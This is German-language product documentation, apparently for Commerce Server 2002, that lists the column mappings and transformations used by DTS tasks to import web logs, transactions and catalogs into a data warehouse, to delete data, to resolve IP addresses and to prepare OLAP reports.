Der Offset innerhalb der Protokolldatei, an dem der Prüfpunkt auftrat.

ByteOffsetLow

N/A
 Generiert

Die W3C-Felddirektive zum Zeitpunkt des Prüfpunktes.

Field

N/A
 Generiert

Aktuelles Datum und Uhrzeit für die Protokolldatei bei Auftritt des Prüfpunktes.

Date

Die OpenUserVisit-Klasse repräsentiert Benutzer, deren Besuche zum Zeitpunkt der Beendigung eines Protokollimports noch aktiv sind. Zum Ändern der Art und Weise, wie aktuelle Benutzerbesuche beim DTS-Webserverprotokollimport-Task behandelt werden, müssen Sie die Rotationseinstellungen für Protokolldateien anpassen. Weitere Informationen zum Ändern der Rotationseinstellungen für Protokolldateien finden Sie unter Festlegen der Eigenschaften "Überlappen" und "Drehung".

Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "OpenUserVisit" des Data Warehouse
N/A
 Generiert

Die Anzahl der Anforderungen in diesem derzeit geöffneten Besuch.

CountOfRequest

N/A
 Generiert
FirstTimeStamp

N/A
 Generiert
LastTimeStamp

N/A
 Generiert

Innerhalb der Protokollimportanwendung als eindeutiger Bezeichner generiert.

VisitNum

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generiert

Der Benutzerschlüssel besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzerschlüssel verwendeten Elements. Was als Benutzerschlüssel verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserKey

N/A
 Generiert

Dies wird für jede Instanz eines Protokollimports erhöht.

TaskID

cs(User-Agent)
 Spalte kopieren
UserAgentName

N/A
 Generiert

Fremdschlüssel für die Anforderungstabelle. Die erste Anforderung in diesem Besuch.

FirstRequestNum

N/A
 Generiert

Fremdschlüssel für die Anforderungstabelle. Die zweite Anforderung in diesem Besuch.

SecondRequestNum

N/A
 Generiert

Fremdschlüssel für die Anforderungstabelle. Die letzte Anforderung in diesem Besuch.

LastRequestNum

N/A
 Generiert

Fremdschlüssel für die URI-Tabelle. Der erste URI in diesem Besuch.

FirstUriKey

N/A
 Generiert

Fremdschlüssel für die URI-Tabelle. Der zweite URI in diesem Besuch.

SecondUriKey

N/A
 Generiert

Fremdschlüssel für die URI-Tabelle. Der letzte URI in diesem Besuch.

LastUriKey

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generiert

Die Benutzer-ID besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzerschlüssel verwendeten Elements. Was als Benutzer-ID verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserID

cs(Referer)
 Mitte von Zeichenfolge

Es wird nur der Domänenteil des URIs geladen.

ReferrerDomainName

N/A
 Generiert

Für Prüfpunktunterstützung verwendet.

SubTaskID
Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "SiteSummary" des Data Warehouse
N/A
 Generiert

Dies wird während des Protokollimports berechnet. Alle gültigen Zugriffe, die der Parser erfolgreich aus der Protokolldatei einlesen konnte.

TotalHits

N/A
 Generiert

Gesamtanzahl an Zugriffen, die nicht durch Ausschlusskriterien herausgefiltert wurden.

TotalImportHits

N/A
 Generiert

Gesamtanzahl an Besuchen (offene und abgeschlossene), die vorgefunden wurden.

TotalVisits

N/A
 Generiert

Anzahl an Zugriffen, die durch die Serverausschlusskriterien ausgeschlossen wurden.

TotalBadServerCount

N/A
 Generiert

Anzahl an Zugriffen, die ausgeschlossen wurden, da sie keiner konfigurierten Site zugeordnet werden konnten. Ist diese Anzahl sehr hoch, sollten Sie Ihre Anwendungskonfiguration prüfen. Weitere Informationen zum Konfigurieren Ihrer Anwendung finden Sie unter Konfigurieren einer Anwendung.

TotalBadSiteCount

N/A
 Generiert

Anzahl an Zugriffen, die durch die Hostausschlusskriterien ausgeschlossen wurden.

TotalExcludeHostCount

N/A
 Generiert

Gesamtanzahl an Zugriffen, die durch sämtliche Kriterien ausgeschlossen wurden.

TotalExcludeCriteriaCount

N/A
 Generiert

Anzahl an Zugriffen, die durch die Suchmaschinenausschlusskriterien ausgeschlossen wurden.

TotalMatchCrawlerCount

N/A
 Generiert

Physische Startzeit des Imports.

StartTime

N/A
 Generiert

Physische Endzeit des Imports.

EndTime
Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "LevelDir" des Data Warehouse
N/A
 Generiert

Die ersten 8 Byte des MD4-Hashs.

URI1Key

N/A
 Generiert

Die ersten 8 Byte des MD4-Hashs.

URI2Key

N/A
 Generiert

Die ersten 8 Byte des MD4-Hashs.

URI3Key

N/A
 Generiert

Die ersten 8 Byte des MD4-Hashs.

URI4Key

N/A
 Generiert

Die ersten 8 Byte des MD4-Hashs.

URI5Key

N/A
 Generiert

Die ersten 8 Byte des MD4-Hashs.

URI6Key
Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "PathInfo" des Data Warehouse
N/A
 Generiert
FirstTimeStamp

PathKey

PathTypeEnum

N/A
 Generiert

Dies wird für jede Instanz eines Protokollimports erhöht.

TaskID
Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "LogUser" des Data Warehouse
cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generiert

Der Benutzerschlüssel besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzerschlüssel verwendeten Elements. Was als Benutzerschlüssel verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserKey

UserDomainName

DateCreated

cs-username
 Spalte kopieren
UserName

N/A
 Generiert

Wenn beim Benutzer ein Cookie vorhanden ist, wird hierfür True festgelegt.

HasCookie

s-ip
 Spalte kopieren
IpAddress

cs-uri-query (UPM cookieless)
OR

cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
Generiert

Der Benutzerschlüssel besteht aus den ersten 8 Bytes eines MD4-Hashs des als Benutzerschlüssel verwendeten Elements. Was als Benutzerschlüssel verwendet wird, hängt vom Inhalt der Protokolldatei ab. Das kann die UPM-Abfragezeichenfolge (ohne Cookies), das UPM-Cookie, das benutzerdefinierte Cookie, der Benutzername oder die Client-IP-Adresse und die Zeichenfolge des Browseragenten sein.

UserID
Quellspalten aus der W3C-Protokolldatei Transformation Zielspalten aus der Tabelle "URI" des Data Warehouse
cs-uri-stem
 Spalte kopieren
URI

N/A
 Generiert

Dies ist der URL der Homepage, die beim Protokollimport zugeordnet wurde.
Dabei handelt es sich um den ersten angegebenen URL.

URL

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die erste Ebene des URIs, wenn verfügbar.

Level1Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die zweite Ebene des URIs (sofern vorhanden).

Level2Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die dritte Ebene des URIs (sofern vorhanden).

Level3Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die vierte Ebene des URIs (sofern vorhanden).

Level4Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die fünfte Ebene des URIs (sofern vorhanden).

Level5Dir

cs-uri-stem
 Mitte von Zeichenfolge

Verwendet nur die sechste Ebene des URIs (sofern vorhanden).

Level6Dir

cs-uri-stem
 Spalte kopieren

MD4-Hash

UriKey

Siehe auch

Konfigurieren der Standardeigenschaften einer Website für den Import

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Ausführen des DTS-Webserverprotokollimport-Tasks

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task

Workflow zum Ausführen von DTS-Tasks


ETL-Prozess für den DTS-Transaktionsdatenimport-Task

Durch den DTS-Transaktionsdatenimport-Task werden Transaktionsdaten, wie z. B Bestellungen und Anforderungsnummern, in das Data Warehouse importiert. Der DTS-Transaktionsdatenimport-Task sollte vor der Erstellung von Berichten zur Synchronisation von Transaktionsdaten ausgeführt werden.

Vorsicht

  • Bei der Ausführung des DTS-Transaktionsimporttasks für ein Data Warehouse, das Daten für mehrere Websites enthält, müssen Sie sicherstellen, dass Klassen, die um mehr als eine Website erweitert sind, eindeutig benannte Elemente besitzen, wenn ihre Datentypen nicht identisch sind. Wenn einer Klasse in verschiedenen Websites ein neues Element hinzugefügt wird und die Datentypen der neuen Elemente nicht übereinstimmen, kann ein Fehler auftreten, oder die Daten werden bei Ausführung des DTS-Transaktionsimporttasks nicht richtig konvertiert.

In der folgenden Tabelle sind die aus den Quelltabellen der Datenbank Site_commerce extrahierten Spalten, die vorgenommenen Transformationen sowie die Tabellen aufgeführt, in denen die Daten im Data Warehouse gespeichert werden.

Quellspalten aus der Tabelle "OrderGroupAddresses" der Datenbank "Site_commerce" Transformation Zielspalten aus der Tabelle "OrderGroupAddresses" des Data Warehouse
address_id
 Spalte kopieren
Address_id

address_line1
 Spalte kopieren
Address_Line1

address_line2
 Spalte kopieren
Address_Line2

address_name
 Spalte kopieren
Address_Name

address_type
 Spalte kopieren
Address_type

City
 Spalte kopieren
City

country_code
 Spalte kopieren
country_code

d_DateCreated
 Spalte kopieren
d_DateCreated

d_DateLastChanged
 Spalte kopieren
d_DateLastChanged

first_name
 Spalte kopieren
First_Name

g_UserIDChangedBy
 Spalte kopieren
g_UserIdChangedBy

Last_name
 Spalte kopieren
Last_Name

OrderGroup_id
 Spalte kopieren
OrderGroup_id

postal_code
 Spalte kopieren
Postal_Code

region_code
 Spalte kopieren
region_code

region_name
 Spalte kopieren
region_name

tel_number
 Spalte kopieren
tel_number

country_name
 Spalte kopieren
country_name
Quellspalten aus der Tabelle "OrderFormHeader" der Datenbank Site_commerce Transformation Zielspalten aus der Tabelle "OrderFormHeader" des Data Warehouse
billing_currency
 Spalte kopieren
billing_currency

buying_org_name
 Spalte kopieren
buying_org_name

cc_auth_number
 Spalte kopieren
cc_auth_number

CurrencyCode
 Generiert

Wenn die Spalte in der Tabelle OrderFormHeader der Datenbank Site_commerce vorhanden ist, wird der Wert in die Tabelle CurrencyCode im Data Warehouse kopiert, und anschließend wird die ID für den Code in die Tabelle OrderFormHeader eingefügt.
Wenn sie in der Tabelle KopfzeileBestellformular der Datenbank Site_commerce nicht vorhanden ist, wird sie aus der MSCS_Admin-Tabelle abgefragt, der Wert wird in die Tabelle Währungscode im Data Warehouse kopiert, und anschließend wird die ID des Codes in die Tabelle KopfzeileBestellformular eingefügt.

Order_CurrencyCodeID

d_DateCreated
 Spalte kopieren
d_DateCreated

d_DateLastChanged
 Spalte kopieren
d_DateLastChanged

g_UserIdChangedBy
 Spalte kopieren
g_UserIDChangedBy

orderform_id
 Spalte kopieren
OrderForm_Id

orderform_number
 Spalte kopieren
OrderForm_number

ordergroup_id
 Spalte kopieren
ordergroup_id

receiver_email_address
 Spalte kopieren
receiver_email_address

receiver_fax_number
 Spalte kopieren
receiver_fax_number

receiver_first_name
 Spalte kopieren
receiver_first_name

receiver_last_name
 Spalte kopieren
receiver_last_name

receiver_tel_number
 Spalte kopieren
receiver_tel_number

saved_cc_expiration
 Spalte kopieren
saved_cc_expiration

saved_cc_number
 Spalte kopieren
saved_cc_number

saved_cy_tax_total
 Spalte kopieren
saved_cy_tax_total

saved_cy_total_total
 Spalte kopieren
saved_cy_total_total

selling_org_name
 Spalte kopieren
selling_org_name

tax_exempt_code
 Spalte kopieren
tax_exempt_code

tax_exempt_id
 Spalte kopieren
tax_exempt_id

total_lineitems
 Spalte kopieren
total_lineitmes

user_email_address
 Spalte kopieren
user_email_addresses

user_fax_number
 Spalte kopieren
user_fax_number

user_first_name
 Spalte kopieren
user_first_name

user_id
 Spalte kopieren
user_id

user_last_name
 Spalte kopieren
user_last_name

user_org_id
 Spalte kopieren
user_org_id

user_org_name
 Spalte kopieren
user_org_name

user_tel_number
 Spalte kopieren
user_tel_number

orderform_date
 Generiert

Ein normalisierter Datumswert einschließlich der Stunde wird in die Datentabelle geschrieben, und es wird eine ID geladen.

DateID

OrderGroupID
 Spalte kopieren
OrderGroupID

orderform_date
 Spalte kopieren
Order_formdate_unnorm
Quellspalten aus der Tabelle "OrderFormLineItems" der Datenbank "Site_commerce" Transformation Zielspalten aus der Tabelle "OrderFormLineItems" des Data Warehouse
cy_lineitem_total
 Spalte kopieren
cy_lineitem_total

cy_unit_price
 Spalte kopieren
cy_unit_price

d_DateCreated
 Spalte kopieren
d_DateCreated

d_DateLastChanged
 Spalte kopieren
d_DateLastChanged

description
 Spalte kopieren
description

g_UserIDChangedBy
 Spalte kopieren
g_UserIDChangedBy

lineitem_id
 Spalte kopieren
lineitem_id

OrderForm_id
 Spalte kopieren
OrderForm_id

OrderGroup_id
 Spalte kopieren
OrderGroup_id

product_catalog_base
 Spalte kopieren
product_catalog_base

product_id
 Spalte kopieren
product_id

product_variant_
identifying_property
 Spalte kopieren
product_identifying_property

quantity
 Spalte kopieren
quantity

tax_exempt
 Spalte kopieren
tax_exempt_code

tax_id
 Spalte kopieren
tax_id

unit_code
 Spalte kopieren
unit_code

N/A
 Generiert

Durch Provider generierte, 6 Byte lange ID, die diesen Datensatz mit der Tabelle OrderformHeader verknüpft.

OrderFormHeaderID

N/A
 Generiert

Durch Provider generierte, 6 Byte lange ID, die diesen Datensatz mit der Tabelle OrderGroupAddresses verknüpft.

OrderGroupAddressesID

N/A
 Generiert

Durch Provider generierte, 6 Byte lange ID.

OrderGroupID

shipping_address_id
 Spalte kopieren
shipping_address_id

shipping_method_name
 Spalte kopieren
shipping_method_name
Quellspalten aus der Tabelle "OrderGroup" der Datenbank "Site_commerce" Transformation Zielspalten aus der Tabelle "OrderGroup" des Data Warehouse
alt_currency
 Spalte kopieren
alt_currency

alt_Icid
 Spalte kopieren
alt_Icid

billing_currency
 Spalte kopieren
billing_currency

d_DateCreated
 Spalte kopieren
d_DateCreated

d_DateLastChanged
 Spalte kopieren
d_DateLastChanged

default_currency
 Spalte kopieren
default_currency

default_Icid
 Spalte kopieren
default_Icid

g_UserIDChangedBy
 Spalte kopieren
g_UserIDChgnedBy

order_approval_decision
 Spalte kopieren
order_approval_decision

order_create_date
 Spalte kopieren
order_create_date

order_number
 Spalte kopieren
order_number

order_status_code
 Spalte kopieren
order_status_code

ordergroup_id
 Spalte kopieren
ordergroup_id

previous_order_id
 Spalte kopieren
previous_order_id

saved_cy_oadjust_subtotal
 Spalte kopieren
saved_cy_oadjust_subtotal

saved_cy_total_total
 Spalte kopieren
saved_cy_total

saved_order_name
 Spalte kopieren
saved_order_name

total_lineitems
 Spalte kopieren
total_lineitmes

user_first_name
 Spalte kopieren
user_first_name

user_last_name
 Spalte kopieren
user_last_name

user_first_name and user_last_name
 Verkettung
user_name

user_org_name
 Spalte kopieren
user_org_name

user_id
 Spalte kopieren
RegisteredUserID

Siehe auch

Ausführen des DTS-Transaktionsdatenimport-Tasks

Erstellen eines Skripts für den DTS-Transaktionsdatenimport-Task

Workflow zum Ausführen von DTS-Tasks


ETL-Prozess für den DTS-Produktkatalogimport-Task

Der DTS-Produktkatalogimport-Task importiert Daten aus Katalogen, z. B. Produktnamen, Farben und Größen, in das Data Warehouse. Nach dem Import werden anhand der Produktdaten Berichte erstellt, in denen Produktumsatzzahlen und andere Transaktionsdaten analysiert werden. In diesem Thema sind die Transformationen aufgeführt, die vom DTS-Produktkatalogimport-Task beim Import der Daten in das Data Warehouse vorgenommen werden.

Hinweis

  • Der DTS-Produktkatalogimport-Task importiert nur Basiskataloge. Wenn die Eigenschaft IsVirtualCatalog der Sitetabelle CatalogGlobal auf 0 gesetzt ist, handelt es sich bei dem Katalog um einen Basiskatalog.

In der folgenden Tabelle sind die aus den Quelltabellen der Datenbank Site_commerce extrahierten Spalten, die vorgenommenen Transformationen sowie die Data Warehouse-Tabellen aufgeführt, in denen die Daten gespeichert werden.

Quellspalten aus der Tabelle "CatalogGlobal" der Datenbank "Site_commerce" Transformation Zielspalten aus der Tabelle "GlobalerKatalog" des Data Warehouse
CatalogID
 Spalte kopieren
CatalogGlobalID

CatalogName
 Spalte kopieren
CatalogName

Currency
 Spalte kopieren
Currency

EndDate
 Spalte kopieren
EndDate

Locale
 Spalte kopieren
Locale

ProductID
 Spalte kopieren
ProductID

ReportingLanguage
 Spalte kopieren
ReportingLanguage

StartDate
 Spalte kopieren
StartDate

VariantID
 Spalte kopieren
VariantID

WeightMeasure
 Spalte kopieren
WeightMeasure

Durch die Spalte I_ClassType in der Tabelle Katalogname_CatalogProducts wird angegeben, ob eine bestimmte Zeile ein Produkt, eine Produktvariante, eine Produktfamilie oder eine Produktkategorie beschreibt. In der folgenden Tabelle sind die jeder Klassifizierung zugeordneten Werte aufgeführt.

Klassifizierung Wert
Category
 1
ProductVariantClass
 2
ProductClass
 4
ProductFamilyClass
 8

Der Vorgang zur Übertragung von Produkten umfasst zwei Schritte. Zunächst überträgt der Task jedes Produkt und die Kategorie, zu der das Produkt gehört. Anschließend werden alle Produktvarianten und Variantenfamilien mit ihren Kategorien an die Data Warehouse-Produkttabellen übertragen. Die Data Warehouse-Produkttabelle verfügt über eine mehrwertige Beziehung zur Kategorietabelle. Basierend auf dieser Beziehung schreibt der Data Warehouse-Anbieter die Produkte in die Produkttabelle, die Kategorien in die Kategorietabelle und füllt die Verknüpfungstabelle aus.

Die Produkttabelle im Data Warehouse enthält nicht alle Eigenschaften eines Produkts. Es werden nur die Produkteigenschaften aus der Tabelle CatalogAttributes der Datenbank Site_Commerce exportiert, bei denen die Eigenschaft ExporttoDW auf den Wert 1 gesetzt ist.

Quellspalten aus der Ansicht "CatalogName_Language" der Datenbank "Site_commerce" Transformation Zielspalten aus der Tabelle "Products" des Data Warehouse
CatalogName
 Spalte kopieren
CatalogName

CatalogName and ProductID and VariantID (if available)
 Verkettung
ProductNameCat

cy_list_price
 Spalte kopieren
cy_list_price

PrimaryParentCategory
 Spalte kopieren
PrimaryParentCategory

ProductID
 Spalte kopieren
ProductID

VariantID
 Spalte kopieren
VariantId

N/A
 Generiert
Product, Unique
identifier for table.
Quellspalten aus der Ansicht "CatalogName_Language" der Datenbank "Site_commerce" Transformation Zielspalten aus der Tabelle "Category " des Data Warehouse
CatalogName
 Spalte kopieren
CatalogName

CatalogName and CategoryName
 Verkettung
CategoryNameCat

CategoryName
 Spalte kopieren
CategoryName
Quellspalten aus der Tabelle "CatalogName_CatalogHierarchy" der Datenbank "Site_Commerce" Transformation Zielspalten aus der Tabelle "CatHierarchy" des Data Warehouse
CatalogName and
CategoryName for
parent categories
from Catalog_CatalogProducts table If the ParentOID
column is set to –1,
the category is a parent category.
 Verkettung
ParentCategoryCat

child_CatalogName and CategoryName for child categories from CatalogProducts table
If the ParentOID column
is set to the oid of a
parent category, the
category is a child
category.
 Verkettung
ChildCatalogCat

Siehe auch

Ausführen des DTS-Produktkatalogimport-Tasks

Erstellen eines Skripts für den DTS-Produktkatalogimport-Task

Workflow zum Ausführen von DTS-Tasks


ETL-Prozess für den DTS-Datenlöschungstask

Der DTS-Datenlöschungstask verfügt über zwei verschiedene Möglichkeiten zum Löschen der Daten aus dem Data Warehouse: Es können entweder alle Daten oder nur Daten aus bestimmten Webprotokolldateien aus dem Data Warehouse gelöscht werden. Daten aus Webprotokolldateien können auf Site- oder auf Data Warehouse-Ebene gelöscht werden. Das Löschen aller Daten ist nur auf Data Warehouse-Ebene möglich.

Webprotokolldaten lassen sich auf zwei Arten löschen: Es können alle Webprotokolldaten oder nur zusammengefasste (Detail-)Daten gelöscht werden. In den folgenden Abschnitten sind die Klassen, Dimensionen und Fakten aufgelistet, die bei diesen Methoden jeweils gelöscht werden:

Löschen aller Daten aus dem Data Warehouse

Löschen von Webprotokolldatei-Daten aus dem Data Warehouse

Löschen von Webprotokolldatei-Detaildaten aus dem Data Warehouse


Löschen aller Daten aus dem DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Löschen aller Daten aus dem Data Warehouse

Beim Löschen aller Daten aus dem Data Warehouse werden fast alle Tabellen im Data Warehouse gelöscht. Die einzigen Tabellen, die nicht aus dem Data Warehouse gelöscht werden, sind Tabellen, denen keine logische Klasse zugeordnet ist. Es folgt eine Auflistung der Tabellen, die nach dem Löschen aller Daten aus dem Data Warehouse im Data Warehouse verbleiben:

  • Site
  • Servergruppe
  • VirtuellerServer
  • Serverbindung
  • SiteURL
  • Ereignistyp
  • NameZeichenfolgeEinfacherWert
  • NameZeichenfolgeMehrereWerte
  • LinknameZeichenfolgeEinfacherWert
  • LinknameZeichenfolgeMehrereWerte
  • Importoptionen
  • Suchmaschine

Anweisungen zum Ausführen des DTS-Datenlöschungstasks im Commerce Server-Manager finden Sie unter So löschen Sie alle Daten im Data Warehouse.


Löschen von Webprotokolldatei-Daten aus dem DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Löschen von Webprotokolldatei-Daten aus dem Data Warehouse

Wenn die Option zum Löschen aller Webprotokolldaten aus dem Data Warehouse verwendet wird, werden die in den angegebenen Webprotokollen gespeicherten Daten aus folgenden Klassen gelöscht:

  • Warenkorb
  • Bestellung
  • ZusammenfassungDesProtokollimportauftrags
  • TeiltaskFürDenProtokollimport
  • AktuellerBenutzerbesuch
  • Besuch
  • Anforderung
  • Besuchsinformationen
  • LetzterUriNachDatum
  • AnforderungNachDatumUriUndAbfragezeichenfolge
  • ErsterUriNachDatum
  • Zugriffsinformationen
  • ZugriffeNachUhrzeit

Anweisungen zum Ausführen des DTS-Datenlöschungstasks im Commerce Server-Manager zum Löschen der Webprotokolldaten finden Sie unter So löschen Sie Protokolldateidaten.


Löschen von Webprotokolldatei-Detaildaten aus dem DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Löschen von Webprotokolldatei-Detaildaten aus dem Data Warehouse

Beim Löschen von Detaildaten aus dem Data Warehouse werden alle in den angegebenen Webprotokolldateien gespeicherten Faktdaten aus dem Data Warehouse gelöscht. Dabei werden keine Dimensionsdaten gelöscht. Es folgt eine Auflistung der Faktklassen, deren Daten bei Verwendung dieser Option gelöscht werden:

  • AktuellerBenutzerbesuch
  • Besuch
  • Anforderung

Anweisungen zum Ausführen des DTS-Datenlöschungstasks im Commerce Server-Manager zum Löschen der Webprotokolldatei-Detaildaten finden Sie unter So löschen Sie Protokolldateidaten.

Siehe auch

Ausführen des DTS-Datenlöschungstasks

Erstellen eines Skripts für den DTS-Datenlöschungstask

Workflow zum Ausführen von DTS-Tasks


ETL-Prozess für den DTS-IP-Auflösungstask

Durch den DTS-IP-Auflösungstask werden IP-Adressen (Internet Protocol) aus importierten Benutzerdaten aufgelöst. IP-Auflösung konvertiert aus Ihren Protokolldateien importierte IP-Adressen in Domänennamen. So wird beispielsweise 198.105.232.4 zu www.microsoft.com. Auf diese Weise können die Leser von Berichten die in den Berichten enthaltenen Daten leichter verstehen.

Nur Daten, die erfolgreich aufgelöst wurden, werden vom IP-Auflösungstask aus Zeilen der Tabelle IPVerweis in die Tabelle VerweisHostnamen geladen. Wenn die IP-Adresse aus der Tabelle IPRef erfolgreich aufgelöst wurde, ist der Domänenname in der Spalte Hostname der Tabelle VerweisHostnamen gespeichert. Falls die IP-Adresse nicht erfolgreich aufgelöst werden konnte, werden keine Daten für diese Zeile aus der Tabelle IPVerweis in die Tabelle VerweisHostnamen geladen. Die Spalte Status der Tabelle IPRef ist bei einer erfolgreichen Auflösung der IP-Adresse auf 1 gesetzt. Falls die IP-Auflösung nicht erfolgreich war, ist die Spalte auf den Wert 0 gesetzt. Die Uhrzeit der IP-Auflösung wird in der Spalte ZuletztGeändertUm der Tabelle IPVerweis gespeichert.

In der folgenden Tabelle sind die aus der Quelltabelle extrahierten Spalten, die vorgenommenen Transformationen sowie die Spalten aufgeführt, in denen die Daten im Data Warehouse gespeichert werden.

Quellspalten aus der Tabelle "IpRef" im Data Warehouse Transformation Zielspalten aus der Tabelle "HostNameRef" im Data Warehouse
IpAddress
 Generiert

Wenn möglich, wird die IP-Adresse aufgelöst und der aufgelöste Domänenname geladen. Wird sie nicht aufgelöst, werden keine Daten in die Tabelle VerweisHostnamen geladen.

Hostname

Status
 Generiert

Auf 1 setzen, wenn aufgelöst, auf 0 setzen, wenn nicht aufgelöst.

No data loaded.

LastModifiedTime
 Generiert

Uhrzeit der versuchten IP-Auflösung.

No data loaded.

Siehe auch

Ausführen des DTS-IP-Auflösungstasks

Erstellen eines Skripts für den DTS-IP-Auflösungstask

Workflow zum Ausführen von DTS-Tasks


ETL-Prozess für den DTS-Berichtsvorbereitungstask

Der DTS-Berichtsvorbereitungstask ist für die Verarbeitung von Daten zuständig, nachdem diese in das Data Warehouse geladen wurden. Der Task umfasst vier unterschiedliche Verarbeitungsphasen: die Verarbeitung gespeicherter Prozeduren, die Definition von Cubepartitionen, die Verarbeitung von OLAP-Dimensionen sowie die Verarbeitung physischer Cubepartitionen und virtueller Cubes.

Dieser DTS-Task kann in drei Verarbeitungsmodi ausgeführt werden: Vollständig, Daten aktualisieren und Inkrementell. In allen drei Fällen werden vom DTS-Task folgende Schritte ausgeführt:

  • Ausführung jeder in der Tabelle StoredProcInfo aufgeführten Prozedur, deren Wert in der Spalte ProcessingEnabled auf 1 gesetzt wurde.
  • Verarbeitung jeder in der Tabelle DimProcInfo aufgeführten Dimension, deren Wert in der Spalte ProcessingEnabled auf 1 gesetzt wurde.
  • Verarbeitung jeder in CubePartitionInfo aufgeführten Partition für alle in der Tabelle CubeProcInfo enthaltenen Cubes, deren Wert für ProcessingEnabled auf 1 gesetzt wurde.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verarbeitung gespeicherter Prozeduren
  • Definieren von OLAP-Cubepartitionen
  • Automatische Partitionierung
  • Ändern bestehender Partitionen
  • Partitionierungsschlüssel
  • Data Warehouse-Cube-Tabellen
  • Verarbeitung von OLAP-Dimensionen
  • Verarbeitung physischer Cubepartitionen
  • Neustarten der Logik für den Berichtsvorbereitungstask
  • Ablaufverfolgung des Berichtsvorbereitungstasks


Verarbeitung gespeicherter Prozeduren

In dieser Phase des Berichtsvorbereitungstasks wird die Tabelle StoredProcInfo abgefragt, und es werden alle gespeicherter Prozeduren, für die ProcessingEnabled in dieser Tabelle auf 1 gesetzt ist, in Ordinalzahlreihenfolge ausgeführt.

Nach Ausführung dieser Schritte ist die Phase zur Verarbeitung gespeicherter Prozeduren des Berichtsvorbereitungstasks abgeschlossen.

Weitere Informationen zur Tabelle StoredProcInfo finden Sie im Thema Die Tabelle "StoredProcInfo".


Definieren von OLAP-Cubepartitionen

Nach Abschluss der Verarbeitung der gespeicherten Prozeduren müssen Cubepartitionen definiert werden. Cubes können so konfiguriert werden, dass sie entsprechend der nachfolgenden Beschreibung durch den Berichtsvorbereitungstask automatisch oder manuell durch einen Systemadministrator partitioniert werden. Mit dieser Funktionalität soll den Erfordernissen großer Sites Rechnung getragen werden, bei denen umfangreiche Datenmengen im Warehouse gespeichert werden müssen. Dabei kann gleichzeitig der erforderliche Systemverwaltungsaufwand zur Erfassung der partitionierten Daten minimiert werden.

Für alle im Lieferumfang von Commerce Server 2002 enthaltenen Cubes ist eine automatische Partitionierung möglich. Somit werden bei jeder Ausführung des Berichtsvorbereitungstasks die Daten in der Fakttabelle untersucht und gegebenenfalls Cubepartitionen zur Speicherung der Daten erstellt.

Für die automatische Partitionierung muss die Fakttabelle bestimmten Regelanforderungen entsprechen. Wenn ein Benutzer neue, nicht regelkonforme Cubes hinzufügt, kann die automatische Partitionierung cubeweise deaktiviert werden. Der Cube kann dann manuell durch Einfügen von Einträgen in die Tabelle CubePartitionInfo verarbeitet werden.

Mehrere OLAP-Partitionen

Zum automatischen Erstellen und Verarbeiten mehrerer OLAP-Partitionen müssen Sie Commerce Server 2002 Enterprise Edition und Analysis Services 2000 Enterprise Edition verwenden. Mehrere OLAP-Partitionen werden nur von Analysis Services Enterprise Edition unterstützt. Commerce Server 2002 Enterprise Edition unterstützt das Erstellen und Verarbeiten mehrerer OLAP-Partitionen.

In Commerce Server 2002 Enterprise Edition erstellt der Berichtsvorbereitungstask standardmäßig für jeweils 20 Millionen Schlüsselspaltenwerte in der Fakttabelle des Cubes eine neue Partition mit einem OLAP-Cube. Durch diesen Wert soll die Anzahl der Partitionen in umfangreichen Sites auf ein Minimum begrenzt und gleichzeitig sichergestellt werden, dass diese Cubes auf effiziente Weise verarbeitet und abgefragt werden können.

Einzelne OLAP-Partitionen

Commerce Server 2002 Standard Edition unterstützt automatisch das Erstellen und Verarbeiten einer einzelnen Partition pro Cube. Wenn Sie Commerce Server 2002 Standard Edition verwenden und einen neuen Cube erstellen, der vom DTS-Berichtsvorbereitungstask automatisch verarbeitet werden soll, richten Sie die Größe der Partition so ein, dass alle möglichen Partitionierungsschlüsselwerte abgedeckt werden.

In Commerce Server 2002 Standard Edition definiert die Cubedefinition in der Tabelle CubeProcInfo standardmäßig eine einzelne Partition, die ca. 17 Billionen Schlüsselwerte in der Fakttabelle des Cubes abdeckt.

Gespeicherte Prozedur "csdw_spDefineOLAPPartitions"

